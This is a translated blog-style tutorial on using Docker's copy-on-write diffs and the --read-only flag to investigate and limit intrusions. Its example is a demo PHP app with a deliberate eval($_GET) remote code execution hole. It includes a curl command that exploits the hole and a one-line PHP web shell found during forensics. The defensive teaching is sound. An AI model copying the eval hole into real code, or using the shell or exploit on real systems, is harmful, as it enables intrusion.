Increase attack costs with Immutable Infrastructure

Docker containers are good because they are immutable. Docker comes with a copy-on-write file system, so the base image can only be changed if you made the appropriate commit yourself.

This feature can be useful, for example, when investigating hacker attacks. By making it possible to easily check the discrepancy between the container’s file system and the base image, it will allow you to see the changes made by the attacker.

Demo application

Take as an example the following infrastructure:

We have a PHP application running on a server with a talking name Front-end, and a MySQL database on a separate machine. ( The editors are not responsible for third-party repositories and reminds that installing software from unverified sources can lead to undesirable consequences. - Ed. ) To reproduce our example at home, run:

➜ docker run -d --name db -e MYSQL_ROOT_PASSWORD=insecurepwd mariadb ➜ docker run -d -p 80:80 --link db:db diogomonica/phphack 

Now that you have a working database and client part at your disposal, you should see something like this greeting:

Unfortunately, as in every other PHP application in the real world, in our test example there is a hole that allows an attacker to remotely execute arbitrary code:

 if($links) { <h3>Links found</h3> ... eval($_GET['shell']); ?> 

Looks like someone is using eval in the wrong place! Therefore, a potential attacker can take advantage of our carelessness and execute arbitrary code on a vulnerable server:

 ➜ curl -s http://localhost/\?shell\=system\("id"\)\; | grep "uid=" uid=33(www-data) gid=33(www-data) groups=33(www-data) 

On a newly hacked machine, a hacker usually tries to get comfortable: it downloads the PHP shell and various toolkits. Some hackers are also prone to replacing the look and content of your site:

Recovering from attack

One of the great things provided by the copy-on-write file system is the ability to see the changes that have occurred in the container. The docker diff team will show what the hacker did with our files:

 ➜ docker diff pensive_meitner C /run C /run/apache2 A /run/apache2/apache2.pid C /run/lock C /run/lock/apache2 C /var C /var/www C /var/www/html C /var/www/html/index.html A /var/www/html/shell.php 

Very interesting! It turns out that the attacker not only changed our index.html , but also loaded the PHP command shell, carefully named shell.php . But the first thing is to restore the site.

For further investigation, the hacked system image can be saved with the docker commit . And since the containers are uncomfortable, we restart diogomonica / phphack with a flick of the wrist and return to normal operation:

 ➜ docker commit pensive_meitner sha256:ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3 ➜ docker kill pensive_meitner ➜ docker run -d -p 80:80 --link db:db diogomonica/phphack 

Now let's take the saved image and see what changes the hacker made:

 ➜ docker run -it ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3 sh # cat index.html <blink>HACKED BY SUPER ELITE GROUP OF HACKERS</blink> # cat shell.php <?php eval($_GET['cmd']); ?> 

It seems that the guys from SUPER ELITE GROUP OF HACKERS just hacked us.

We increase the cost of attack

Of course, it is useful to be able to see the changes in the container after the attack, but how to avoid the attack itself?

To do this, there is an option - --read-only , which instructs Docker to prevent changes to the container's file system. Its installation could prevent the index.html modification, but more importantly, the attacker would not be able to load the command shell or any other tool he needs.

Let's see how it works:

 ➜ docker run -p 80:80 --link db:db -v /tmp/apache2:/var/run/apache2/ -v /tmp/apache:/var/lock/apache2/ --sig-proxy=false --read-only diogomonica/phphack ... 172.17.0.1 - - [04/Sep/2016:03:59:06 +0000] "GET / HTTP/1.1" 200 219518 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48" sh: 1: cannot create index.html: Read-only file system 

Since our file system is now read-only, the hacker’s attempts to change index.html failed.

Does it provide an absolute guarantee?

In no case. Until we fix the existing RCE vulnerability, hackers will still be able to freely execute arbitrary code on our machine and, for example, steal identity information or steal data from the database.

Nevertheless, there is a real opportunity to significantly complicate the lives of hackers trying to hack our systems. To do this, you need to use Docker security tools and minimal images for containers.

Conclusion

The security of our applications will never be one hundred percent. But using Immutable infrastructure can make it harder for hackers to work, and if hacking does happen, it can make the recovery process much easier.

So for the sake of security and stability it is quite possible to twist up a few pens and strengthen the defense of our containers!